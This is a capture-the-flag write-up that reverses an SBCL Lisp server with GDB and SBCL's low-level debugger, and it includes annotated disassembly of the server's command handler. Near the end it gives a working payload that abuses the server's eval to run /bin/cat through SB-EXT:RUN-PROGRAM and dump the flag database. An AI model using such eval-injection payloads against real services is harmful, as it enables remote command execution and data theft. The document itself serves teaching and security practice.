This task is a lot easier if you programmed in Lisp (preferably Common Lisp) before.
We start with a binary named `server` and a TCP address. 
Nothing extraordinary here:```~/list_processor $ file ./server ./server: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a9399c2b88a2655f9ad07511e3a909ae2a1d992e, stripped```
Start with running the binary:```~/list_processor $ ./serverWelcome at our server :3```The binary waits for input. Input something to get```~/list_processor $ ./serverWelcome at our server :3aWe caught a condition: The value                         A                       is not of type                         LIST```Run app once again and hit Ctrl+c:```~/list_processor $ ./serverWelcome at our server :3^CUnhandled SB-SYS:INTERACTIVE-INTERRUPT in thread #<SB-THREAD:THREAD "main thread" RUNNING                                                    {10005F05B3}>:  Interactive interrupt at #x7FFFF7D3DA37.
Backtrace for: #<SB-THREAD:THREAD "main thread" RUNNING {10005F05B3}>0: ("bogus stack frame")1: (SB-SYS:WAIT-UNTIL-FD-USABLE 0 :INPUT NIL T)2: (SB-IMPL::REFILL-INPUT-BUFFER #<SB-SYS:FD-STREAM for "standard input" {1001B78593}>)3: (SB-IMPL::INPUT-CHAR/UTF-8 #<SB-SYS:FD-STREAM for "standard input" {1001B78593}> T 0)4: ((LAMBDA (&REST REST) :IN SB-IMPL::GET-EXTERNAL-FORMAT) #<SB-SYS:FD-STREAM for "standard input" {1001B78593}> T 0)5: (READ-CHAR #<SB-SYS:FD-STREAM for "standard input" {1001B78593}> T 0 #<unused argument>)6: (READ-CHAR #<SYNONYM-STREAM :SYMBOL SB-SYS:*STDIN* {10000257F3}> T 0 #<unused argument>)7: (SB-IMPL::%READ-PRESERVING-WHITESPACE #<SYNONYM-STREAM :SYMBOL SB-SYS:*STDIN* {10000257F3}> T (NIL) T)8: (SB-IMPL::%READ-PRESERVING-WHITESPACE #<SYNONYM-STREAM :SYMBOL SB-SYS:*STDIN* {10000257F3}> T (NIL) NIL)9: (READ #<SYNONYM-STREAM :SYMBOL SB-SYS:*STDIN* {10000257F3}> T NIL NIL)10: (HANDLE-COMMAND)11: (HANDLE-CLIENT)12: ((FLET SB-UNIX::BODY :IN SAVE-LISP-AND-DIE))13: ((FLET "WITHOUT-INTERRUPTS-BODY-36" :IN SAVE-LISP-AND-DIE))14: ((LABELS SB-IMPL::RESTART-LISP :IN SAVE-LISP-AND-DIE))
unhandled condition in --disable-debugger mode, quitting```This is a SBCL-compiled binary, with disabled debugger. Try to input a LISP list then (`(1 2)`), but the server does not respond.
Load the binary to GDB. SBCL does strange thing with signals, so we set```handle SIGUSR1 passhandle SIGSEGV passhandle SIGILL pass```
This is when lisp knowledge comes in handy. Apart from the hight level debugger, there is a low level one. To get to know how can we trigger it, read through file `src/code/debug.lisp` (contains well meaning string `defun disable-debugger`) to see the line```  (sb-alien:alien-funcall (sb-alien:extern-alien "enable_lossage_handler"                                                 (function sb-alien:void))))```which leads to funcion `void ldb_monitor()`.Sure enough, when we call it in GDB, we are greeted with friendly message:```pwndbg> call (void)ldb_monitor()Welcome to LDB, a low-level debugger for the Lisp runtime environment.ldb> helphelp	Display this help information.?	(an alias for help)backtrace	Backtrace up to N frames.catchers	Print a list of all the active catchers.context	Print interrupt context number I.dump	Dump memory starting at ADDRESS for COUNT words.d	(an alias for dump)exit	Exit this instance of the monitor.flush	Flush all temp variables.grab-signals	Set the signal handlers to call LDB.kill	Kill ourself with signal number N (useful if running under gdb)purify	Purify. (Caveat purifier!)print	Print object at ADDRESS.p	(an alias for print)quit	Quit.regs	Display current Lisp registers.search	Search for TYPE starting at ADDRESS for a max of COUNT words.s	(an alias for search)```Most importantly, there's function `print`, which lets us print expressions by their address (when provided a number, be it either hex or decimal), or by their name. To simplify process, let's define GDB function```define ldb    call (void)ldb_monitor()end```Let's look once again on the printed backtrace. Everything except for `HANDLE-COMMAND` and `HANDLE-CLIENT` comes from SBCL. After breaking on `write` (that's how the welcome message is printed), let's inspect `HANDLE-COMMAND` (because it's probably more interesting, as it interacts directly with data `(READ)`) and dig around a bit:```ldb> p HANDLE-COMMAND$23=	  0x1000552adf: other pointer	    header: 0x00000545: symbol	    value: 0x00000051: <unbound marker>	    hash: 0xc6c2934a4bc276e: 447567866009359287$24=	    info: 0x100073666f: #<ptr to simple vector>$25=	    name: 0x10006a0ecf: "HANDLE-COMMAND"$7=	    package: 0x20301103: #<ptr to 20300203 PACKAGE instance>$26=	    fun: 0x100055cedb: #<ptr to simple fun>ldb> p 0x100055cedb $26=	  0x100055cedb: fun pointer	    header: 0x2030008300000a31: simple fun$27=	    code: 0x100055ce8f: #<ptr to code header>	    self: 0x100055cf00: 34362550144$23=	    name: 0x1000552adf: HANDLE-COMMAND$nil=	    arglist: 0x20100017: NIL$28=	    type: 0x1001380197: ($29=SFUNCTION $nil $30=NULL)$31=	    info: 0x10013801cf: #<ptr to simple vector>```Few things to note here
 - SBCL uses tagged pointers (4 LSBs). All symbols will have 0b0111 tag. - `self` for a code pointer is the executable code of the function.
I dumped memory map containing `0x100055cf00`, loaded it up in Binary Ninja, and disassenbled it.The exact nature of the functions, I determined by putting a breakpoint in GDB there and comparing with the output from `ldb`. Here's disassembly with added comments:```100055cf00  8f4508             pop     qword [rbp+0x8 {__return_addr}]100055cf03  4885c9             test    rcx, rcx100055cf06  0f85ff000000       jne     0x100055d00b
100055cf0c  488d65f0           lea     rsp, [rbp-0x10]100055cf10  498b4c2458         mov     rcx, qword [r12+0x58]100055cf15  48894df8           mov     qword [rbp-0x8], rcx100055cf19  4883ec10           sub     rsp, 0x10100055cf1d  31c9               xor     ecx, ecx  {0x0}100055cf1f  48892c24           mov     qword [rsp], rbp100055cf23  488bec             mov     rbp, rsp                               // read function100055cf26  b8588b3120         mov     eax, 0x20318b58100055cf2b  ffd0               call    rax  {0x20318b58}                               // rdx has list from the input100055cf2d  8d42f9             lea     eax, [rdx-0x7]100055cf30  a80f               test    al, 0xf100055cf32  0f85d0000000       jne     0x100055d008
                               // rcx holds first element in input list100055cf38  488b4af9           mov     rcx, qword [rdx-0x7]                               // 0x20100017 is NIL100055cf3c  4881f917001020     cmp     rcx, 0x20100017100055cf43  7415               je      0x100055cf5a
100055cf45  8d41f1             lea     eax, [rcx-0xf]100055cf48  a80f               test    al, 0xf100055cf4a  0f85b5000000       jne     0x100055d005
                               // 0x45 is a SYMBOL100055cf50  8079f145           cmp     byte [rcx-0xf], 0x45100055cf54  0f85ab000000       jne     0x100055d005
100055cf5a  488b4119           mov     rax, qword [rcx+0x19]  // offset 0x19 (from -0xf) means PACKAGE                               // this is [rel data_100055cea8]                               // ldb> p 0x10005524df                               // $8=	  0x10005524df: other pointer                               // 	    header: 0x00000545: symbol                               // 	    value: 0x00000051: <unbound marker>                               // 	    hash: 0x37242e29f7fd5190: 1986675764518365384                               // $9=	    info: 0x100073652f: #<ptr to simple vector>                               // $10=	    name: 0x10005bc08f: "STORE"                               // $11=	    package: 0x1000237be3: #<ptr to 20300203 PACKAGE instance>                               // $12=	    fun: 0x100055ab3b: #<ptr to simple fun>100055cf5e  488b0d43ffffff     mov     rcx, qword [rel data_100055cea8]                               // this is the package                               // ldb> p 0x1000237be3                                // $11=	  0x1000237be3: instance pointer                               // $13=	    type: 0x20300203: #<ptr to 20300183 LAYOUT instance>                               // $14=	    slot 0: 0x100054fecf: "RULES"                               // $nil=	    slot 1: 0x20100017: NIL                               // $15=	    slot 2: 0x1000552c27: ($16=#<ptr to 20300203 PACKAGE instance>)                               // $17=	    slot 3: 0x1000552c3f: #<ptr to simple vector>                               // 	    slot 4: 0x00000000: 0100055cf5e  488b0d43ffffff     mov     rcx, qword [rel data_100055cea8]                               // this is the package                               // ldb> p 0x1000237be3                                // $11=	  0x1000237be3: instance pointer                               // $13=	    type: 0x20300203: #<ptr to 20300183 LAYOUT instance>                               // $14=	    slot 0: 0x100054fecf: "RULES"                               // $nil=	    slot 1: 0x20100017: NIL                               // $15=	    slot 2: 0x1000552c27: ($16=#<ptr to 20300203 PACKAGE instance>)                               // $17=	    slot 3: 0x1000552c3f: #<ptr to simple vector>                               // 	    slot 4: 0x00000000: 0                               // $nil=	    slot 5: 0x20100017: NIL                               // $18=	    slot 6: 0x1000552c53: #<ptr to 2030d503 PACKAGE-HASHTABLE instance>                               // $19=	    slot 7: 0x1000552c83: #<ptr to 2030d503 PACKAGE-HASHTABLE instance>                               // $nil=	    slot 8: 0x20100017: NIL                               // $nil=	    slot 9: 0x20100017: NIL                               // $nil=	    slot 10: 0x20100017: NIL                               // $20=	    slot 11: 0x1000552cb7: ($11)                               // $21=	    slot 12: 0x1000552cc3: #<ptr to 20300803 DEFINITION-SOURCE-LOCATION instance>                               // $nil=	    slot 13: 0x20100017: NIL                               // $nil=	    slot 14: 0x20100017: NIL100055cf65  488b4919           mov     rcx, qword [rcx+0x19]  {0x10005524f8}100055cf69  4839c1             cmp     rcx, rax100055cf6c  0f858c000000       jne     0x100055cffe
                               // ldb> p HANDLE-COMMAND                               // $23=	  0x1000552adf: other pointer                               // 	    header: 0x00000545: symbol                               // 	    value: 0x00000051: <unbound marker>                               // 	    hash: 0xc6c2934a4bc276e: 447567866009359287                               // $24=	    info: 0x100073666f: #<ptr to simple vector>                               // $25=	    name: 0x10006a0ecf: "HANDLE-COMMAND"                               // $7=	    package: 0x20301103: #<ptr to 20300203 PACKAGE instance>                               // $26=	    fun: 0x100055cedb: #<ptr to simple fun>                               // ldb> p 0x100055cedb                                // $26=	  0x100055cedb: fun pointer                               // 	    header: 0x2030008300000a31: simple fun                               // $27=	    code: 0x100055ce8f: #<ptr to code header>                               // 	    self: 0x100055cf00: 34362550144                               // $23=	    name: 0x1000552adf: HANDLE-COMMAND                               // $nil=	    arglist: 0x20100017: NIL                               // $28=	    type: 0x1001380197: ($29=SFUNCTION $nil $30=NULL)                               // $31=	    info: 0x10013801cf: #<ptr to simple vector>                               // ldb> p 0x100055ce8f                                // $27=	  0x100055ce8f: other pointer                               // 	    header: 0x100000a2d: code header                               // $26=	    f[0]: 0x100055cedb: #<ptr to simple fun>                               // 	    code_size: 0x0000027a: 317                               // $67=	    debug_info: 0x1001380153: #<ptr to 20300703 COMPILED-DEBUG-INFO instance>                               // 	    fixups: 0x3c3e5ab8ae: 129372085335                               // $68=	    ???: 0x20318b4f: #<ptr to fdefn for READ>                               // $67=	    debug_info: 0x1001380153: #<ptr to 20300703 COMPILED-DEBUG-INFO instance>                               // 	    fixups: 0x3c3e5ab8ae: 129372085335                               // $68=	    ???: 0x20318b4f: #<ptr to fdefn for READ>                               // $8=	    ???: 0x10005524df: STORE                               // $69=	    ???: 0x203210cf: #<ptr to fdefn for EVAL>                               // $70=	    ???: 0x204b85df: *STANDARD-OUTPUT*                               // $71=	    ???: 0x2031a5cf: #<ptr to fdefn for PRIN1>                               // $72=	    ???: 0x2032128f: #<ptr to fdefn for TERPRI>                               //                                // addresses of EVAL, PRIN1, TERPRI almost match (idk why just almost)100055cf72  4883ec10           sub     rsp, 0x10100055cf76  b902000000         mov     ecx, 0x2100055cf7b  48892c24           mov     qword [rsp], rbp100055cf7f  488bec             mov     rbp, rsp100055cf82  b8d8103220         mov     eax, 0x203210d8                               // eval100055cf87  ffd0               call    rax  {0x203210d8}100055cf89  480f42e3           cmovb   rsp, rbx                               // NIL100055cf8d  4881fa17001020     cmp     rdx, 0x20100017                               // T100055cf94  b94f001020         mov     ecx, 0x2010004f100055cf99  480f44ca           cmove   rcx, rdx100055cf9d  488bd1             mov     rdx, rcx100055cfa0  498b8c2430220000   mov     rcx, qword [r12+0x2230]100055cfa8  83f961             cmp     ecx, 0x61100055cfab  480f440c25d8854b…cmove   rcx, qword [0x204b85d8]100055cfb4  488bf1             mov     rsi, rcx100055cfb7  488975f0           mov     qword [rbp-0x10], rsi100055cfbb  4883ec10           sub     rsp, 0x10100055cfbf  488bfe             mov     rdi, rsi100055cfc2  b904000000         mov     ecx, 0x4100055cfc7  48892c24           mov     qword [rsp], rbp100055cfcb  488bec             mov     rbp, rsp100055cfce  b8d8a53120         mov     eax, 0x2031a5d8                               // print100055cfd3  ffd0               call    rax  {0x2031a5d8}100055cfd5  488b75f0           mov     rsi, qword [rbp-0x10]100055cfd9  4883ec10           sub     rsp, 0x10100055cfdd  488bd6             mov     rdx, rsi100055cfe0  b902000000         mov     ecx, 0x2100055cfe5  48892c24           mov     qword [rsp], rbp100055cfe9  488bec             mov     rbp, rsp100055cfec  b898123220         mov     eax, 0x20321298100055cff1  ffd0               call    rax  {0x20321298}100055cff3  ba17001020         mov     edx, 0x20100017
100055cff8  488be5             mov     rsp, rbp100055cffb  f8                 clc     100055cffc  5d                 pop     rbp100055cffd  c3                 retn    
100055cffe  ba17001020         mov     edx, 0x20100017100055d003  ebf3               jmp     0x100055cff8
100055d005  cc                 int3    { Does not return }```And there's generated graph: ![](binaryninja_handle_command.png)
In the line```100055cf65  488b4919           mov     rcx, qword [rcx+0x19]  {0x10005524f8}```this evaluates to the package of function `STORE`, which is the package `RULES`.
This basically means, that we need to provide a list, so that its first element is a member of package `RULES`. This list will be later evaluated as a Lisp expression (this is what read does - it reads a lisp expression).
Let's look at the available symbols in the package `RULES`:```ldb> p 0x10005524df$8=	  0x10005524df: other pointer	    header: 0x00000545: symbol	    value: 0x00000051: <unbound marker>	    hash: 0x37242e29f7fd5190: 1986675764518365384$9=	    info: 0x100073652f: #<ptr to simple vector>$10=	    name: 0x10005bc08f: "STORE"$11=	    package: 0x1000237be3: #<ptr to 20300203 PACKAGE instance>$12=	    fun: 0x100055ab3b: #<ptr to simple fun>ldb> p 0x1000237be3 $11=	  0x1000237be3: instance pointer$13=	    type: 0x20300203: #<ptr to 20300183 LAYOUT instance>$14=	    slot 0: 0x100054fecf: "RULES"$nil=	    slot 1: 0x20100017: NIL$15=	    slot 2: 0x1000552c27: ($16=#<ptr to 20300203 PACKAGE instance>)$17=	    slot 3: 0x1000552c3f: #<ptr to simple vector>	    slot 4: 0x00000000: 0$nil=	    slot 5: 0x20100017: NIL$18=	    slot 6: 0x1000552c53: #<ptr to 2030d503 PACKAGE-HASHTABLE instance>$19=	    slot 7: 0x1000552c83: #<ptr to 2030d503 PACKAGE-HASHTABLE instance>$nil=	    slot 8: 0x20100017: NIL$nil=	    slot 9: 0x20100017: NIL$nil=	    slot 10: 0x20100017: NIL$20=	    slot 11: 0x1000552cb7: ($11)$21=	    slot 12: 0x1000552cc3: #<ptr to 20300803 DEFINITION-SOURCE-LOCATION instance>$nil=	    slot 13: 0x20100017: NIL$nil=	    slot 14: 0x20100017: NIL```Slot 6 holds all symbols (with the internal ones), while slot 7 has the external ones. To verify the assumption, let's run the program (`ASSERTION-LIST` is in the slot 6, `EXTRACT` in the slot 7):```Welcome at our server :3(RULES:ASSERTION-LIST 4 5)We caught a condition: The symbol "ASSERTION-LIST" is not external in the RULES package.
                         Stream: #<SYNONYM-STREAM :SYMBOL SB-SYS:*STDIN* {10000257F3}>``````Welcome at our server :3(RULES:EXTRACT )We caught a condition: invalid number of arguments: 0```Success!Let's see what symbols are there:```ldb> p 0x1000552c83 $19=	  0x1000552c83: instance pointer$98=	    type: 0x2030d503: #<ptr to 20300183 LAYOUT instance>$100=	    slot 0: 0x1000736baf: #<ptr to simple vector>	    slot 1: 0x00000018: 12	    slot 2: 0x00000008: 4	    slot 3: 0x00000000: 0ldb> p 0x1000736baf $100=	  0x1000736baf: other pointer	    header: 0x000000d9: simple vector	  length = 17	    0: 0x00000000: 0$8=	    1: 0x10005524df: STORE$112=	    2: 0x1000914e6f: DEFRULE$113=	    3: 0x1000914e9f: SAVE-DATABASE	    4: 0x00000000: 0	    5: 0x00000000: 0	    6: 0x00000000: 0	    7: 0x00000000: 0$114=	    8: 0x1000914ecf: =>	    9: 0x00000000: 0	    10: 0x00000000: 0$115=	    11: 0x1000914eff: EXTRACT	    12: 0x00000000: 0$116=	    13: 0x1000914f2f: FETCH$117=	    14: 0x1000914f5f: LOAD-DATABASE	    15: 0x00000000: 0$118=	    16: 0x1000914f8f: FETCH-BINDINGS```There's a function `SAVE-DATABASE`, which seems promising. Let's see the arguments:```ldb> p SAVE-DATABASE$113=	  0x1000914e9f: other pointer	    header: 0x00000545: symbol	    value: 0x00000051: <unbound marker>	    hash: 0x3a2a7b2f9b8e7eea: 2095648923812577141$119=	    info: 0x1000a5364f: #<ptr to simple vector>$120=	    name: 0x1000a5898f: "SAVE-DATABASE"$11=	    package: 0x1000237be3: #<ptr to 20300203 PACKAGE instance>$121=	    fun: 0x100055b5db: #<ptr to simple fun>ldb> p 0x100055b5db$121=	  0x100055b5db: fun pointer	    header: 0x2030008300001031: simple fun$124=	    code: 0x100055b55f: #<ptr to code header>	    self: 0x100055b600: 34362546944$113=	    name: 0x1000914e9f: SAVE-DATABASE$125=	    arglist: 0x1001377717: ($126=FILENAME)$127=	    type: 0x1001377727: ($43=FUNCTION $128=($t=T) $45=*)$129=	    info: 0x100137775f: #<ptr to simple vector>```So it just takes a `FILENAME` argument.
To make sure that it's the database that holds the flag, we inspect further:```ldb> p SAVE-DATABASE $113=	  0x1000914e9f: other pointer	    header: 0x00000545: symbol	    value: 0x00000051: <unbound marker>	    hash: 0x3a2a7b2f9b8e7eea: 2095648923812577141$119=	    info: 0x1000a5364f: #<ptr to simple vector>$120=	    name: 0x1000a5898f: "SAVE-DATABASE"$11=	    package: 0x1000237be3: #<ptr to 20300203 PACKAGE instance>$121=	    fun: 0x100055b5db: #<ptr to simple fun>ldb> p 0x100055b5db $121=	  0x100055b5db: fun pointer	    header: 0x2030008300001031: simple fun$124=	    code: 0x100055b55f: #<ptr to code header>	    self: 0x100055b600: 34362546944$113=	    name: 0x1000914e9f: SAVE-DATABASE$125=	    arglist: 0x1001377717: ($126=FILENAME)$127=	    type: 0x1001377727: ($43=FUNCTION $128=($t=T) $45=*)$129=	    info: 0x100137775f: #<ptr to simple vector>ldb> p 0x100055b55f $124=	  0x100055b55f: other pointer	    header: 0x10000200000e2d: code header$121=	    f[0]: 0x100055b5db: #<ptr to simple fun>$130=	    f[1]: 0x100055b84b: #<ptr to simple fun>	    code_size: 0x00000694: 842$131=	    debug_info: 0x10013776d3: #<ptr to 20300703 COMPILED-DEBUG-INFO instance>$132=	    fixups: 0x1001379ebf: #<ptr to bignum>$133=	    ???: 0x203b372f: DIRECTION$134=	    ???: 0x203b299f: OUTPUT$135=	    ???: 0x203b3edf: IF-EXISTS$136=	    ???: 0x203b3e7f: SUPERSEDE$137=	    ???: 0x2031990f: #<ptr to fdefn for OPEN>$138=	    ???: 0x20331a6f: #<ptr to fdefn for %WITH-STANDARD-IO-SYNTAX>$139=	    ???: 0x204c163f: *DATABASE*$140=	    ???: 0x20363e8f: #<ptr to fdefn for PRINT>$141=	    ???: 0x203a9a8f: ABORT$142=	    ???: 0x203199af: #<ptr to fdefn for CLOSE>ldb> p 0x204c163f $139=	  0x204c163f: other pointer	    header: 0x06000545: symbol$143=	    value: 0x1000df96a7: ($144=($145=($146=FLAG $147=CHCTF $148=(    ...))) $149=#<ptr to 20300c83 HASH-TABLE instance>)	    hash: 0x149d4ce358cd1b0a: 742713995716627845$150=	    info: 0x1000df96cf: #<ptr to simple vector>$151=	    name: 0x1000df3adf: "*DATABASE*"$11=	    package: 0x1000237be3: #<ptr to 20300203 PACKAGE instance>```Indeed, a flag is present here:```ldb> p 0x204c163f $139=	  0x204c163f: other pointer	    header: 0x06000545: symbol$143=	    value: 0x1000df96a7: ($144=($145=($146=FLAG $147=CHCTF $148=(    ...))) $149=#<ptr to 20300c83 HASH-TABLE instance>)	    hash: 0x149d4ce358cd1b0a: 742713995716627845$150=	    info: 0x1000df96cf: #<ptr to simple vector>$151=	    name: 0x1000df3adf: "*DATABASE*"$11=	    package: 0x1000237be3: #<ptr to 20300203 PACKAGE instance>ldb> p 0x1000df96a7 $143=	  0x1000df96a7: list pointer$144=	    car: 0x1001253c57: ($145=($146=FLAG $147=CHCTF $148=(#\t #\e #\s #\t ...)))$152=	    cdr: 0x1000df96b7: ($149=#<ptr to 20300c83 HASH-TABLE instance>)ldb> p 0x1001253c57 $144=	  0x1001253c57: list pointer$145=	    car: 0x10015da2c7: ($146=FLAG $147=CHCTF $148=(#\t #\e #\s #\t ...))$nil=	    cdr: 0x20100017: NILldb> p 0x10015da2c7 $145=	  0x10015da2c7: list pointer$146=	    car: 0x1000552a4f: FLAG$153=	    cdr: 0x10015da2d7: ($147=CHCTF $148=(#\t #\e #\s #\t ...))ldb> p 0x10015da2d7 $153=	  0x10015da2d7: list pointer$147=	    car: 0x1000552bcf: CHCTF$154=	    cdr: 0x10015da2e7: ($148=(#\t #\e #\s #\t ...))```It is however a test flag. To get the real flag, we need to run some code on the server.
Now, as it's just an eval, we may first save the database, and read the file from disk to the stdout, thus getting the flag. We can achieve the second by providing it as a second argument to the next `SAVE-DATABASE` call - this will produce a runtime error, but the flag will be already printed out.Example payload:```(RULES:SAVE-DATABASE "/tmp/lol") (RULES:SAVE-DATABASE (SB-EXT:RUN-PROGRAM "/bin/cat" (list "/tmp/lol") :output *standard-output*))```
We try it with```~/list_processor $ echo '(RULES:SAVE-DATABASE "/tmp/lol") (RULES:SAVE-DATABASE (SB-EXT:RUN-PROGRAM "/bin/cat" (list "/tmp/lol") :output *standard-output*))' | nc list-processor.chujowyc.tf 4002 Welcome at our server :3T
(((FLAG CHCTF (#\LATIN_CAPITAL_LETTER_I #\LOW_LINE #\LATIN_SMALL_LETTER_J #\LATIN_SMALL_LETTER_U #\LATIN_SMALL_LETTER_S #\LATIN_SMALL_LETTER_T #\LOW_LINE #\LATIN_SMALL_LETTER_R #\LATIN_SMALL_LETTER_O #\LATIN_SMALL_LETTER_B #\LATIN_SMALL_LETTER_B #\DIGIT_THREE #\LATIN_SMALL_LETTER_D #\LOW_LINE #\LATIN_SMALL_LETTER_A #\LOW_LINE #\LATIN_SMALL_LETTER_S #\LATIN_SMALL_LETTER_T #\DIGIT_THREE #\DIGIT_THREE #\DIGIT_SEVEN #\LOW_LINE #\LATIN_SMALL_LETTER_B #\DIGIT_FOUR #\LATIN_SMALL_LETTER_N #\LATIN_SMALL_LETTER_K #\LOW_LINE #\DIGIT_FOUR #\DIGIT_SIX #\DIGIT_THREE #\DIGIT_TWO #\DIGIT_SEVEN #\DIGIT_EIGHT #\DIGIT_FOUR #\DIGIT_SIX #\DIGIT_THREE #\DIGIT_TWO #\DIGIT_SEVEN #\DIGIT_EIGHT #\DIGIT_FOUR #\DIGIT_FIVE #\DIGIT_THREE #\DIGIT_FOUR #\DIGIT_TWO #\DIGIT_SEVEN #\DIGIT_EIGHT))) #.(SB-IMPL::%STUFF-HASH-TABLE (MAKE-HASH-TABLE :TEST (QUOTE EQL) :SIZE (QUOTE 16) :REHASH-SIZE (QUOTE 1.5) :REHASH-THRESHOLD (QUOTE 1.0) :WEAKNESS (QUOTE NIL)) (QUOTE ((FLAG (FLAG CHCTF (#\LATIN_CAPITAL_LETTER_I #\LOW_LINE #\LATIN_SMALL_LETTER_J #\LATIN_SMALL_LETTER_U #\LATIN_SMALL_LETTER_S #\LATIN_SMALL_LETTER_T #\LOW_LINE #\LATIN_SMALL_LETTER_R #\LATIN_SMALL_LETTER_O #\LATIN_SMALL_LETTER_B #\LATIN_SMALL_LETTER_B #\DIGIT_THREE #\LATIN_SMALL_LETTER_D #\LOW_LINE #\LATIN_SMALL_LETTER_A #\LOW_LINE #\LATIN_SMALL_LETTER_S #\LATIN_SMALL_LETTER_T #\DIGIT_THREE #\DIGIT_THREE #\DIGIT_SEVEN #\LOW_LINE #\LATIN_SMALL_LETTER_B #\DIGIT_FOUR #\LATIN_SMALL_LETTER_N #\LATIN_SMALL_LETTER_K #\LOW_LINE #\DIGIT_FOUR #\DIGIT_SIX #\DIGIT_THREE #\DIGIT_TWO #\DIGIT_SEVEN #\DIGIT_EIGHT #\DIGIT_FOUR #\DIGIT_SIX #\DIGIT_THREE #\DIGIT_TWO #\DIGIT_SEVEN #\DIGIT_EIGHT #\DIGIT_FOUR #\DIGIT_FIVE #\DIGIT_THREE #\DIGIT_FOUR #\DIGIT_TWO #\DIGIT_SEVEN #\DIGIT_EIGHT))))))) We caught a condition: The value                         #<SB-IMPL::PROCESS :EXITED 0>                       is not of type                         (OR (VECTOR CHARACTER) (VECTOR NIL) BASE-STRING                             PATHNAME STREAM)
                       when binding SB-KERNEL:FILENAME```Just need to decode the output.
If we wanted to make something more aligned with the expectations of the task, we could look into function `FETCH`:
```ldb> p 0x1000736baf $100=	  0x1000736baf: other pointer	    header: 0x000000d9: simple vector	  length = 17	    0: 0x00000000: 0$8=	    1: 0x10005524df: STORE$112=	    2: 0x1000914e6f: DEFRULE$113=	    3: 0x1000914e9f: SAVE-DATABASE	    4: 0x00000000: 0	    5: 0x00000000: 0	    6: 0x00000000: 0	    7: 0x00000000: 0$114=	    8: 0x1000914ecf: =>	    9: 0x00000000: 0	    10: 0x00000000: 0$115=	    11: 0x1000914eff: EXTRACT	    12: 0x00000000: 0$116=	    13: 0x1000914f2f: FETCH$117=	    14: 0x1000914f5f: LOAD-DATABASE	    15: 0x00000000: 0$118=	    16: 0x1000914f8f: FETCH-BINDINGSldb> p 0x1000914f2f $116=	  0x1000914f2f: other pointer	    header: 0x00000545: symbol	    value: 0x00000051: <unbound marker>	    hash: 0x2afb8c3ad5c96da8: 1548611676535043796$181=	    info: 0x1000a536af: #<ptr to simple vector>$182=	    name: 0x1000a589ef: "FETCH"$11=	    package: 0x1000237be3: #<ptr to 20300203 PACKAGE instance>$183=	    fun: 0x100055a63b: #<ptr to simple fun>ldb> p 0x100055a63b $183=	  0x100055a63b: fun pointer	    header: 0x2030008300000831: simple fun$184=	    code: 0x100055a5ff: #<ptr to code header>	    self: 0x100055a660: 34362544944$116=	    name: 0x1000914f2f: FETCH$185=	    arglist: 0x10013772e7: ($186=PATTERN)$187=	    type: 0x10013772f7: ($29=SFUNCTION $188=($t=T) $189=LIST)$190=	    info: 0x100137732f: #<ptr to simple vector>```
Apparently the function expects a list. This is how it looks in Binary Ninja:
![](binaryninja_FETCH.png)
 ouch, maybe stick to the first solution...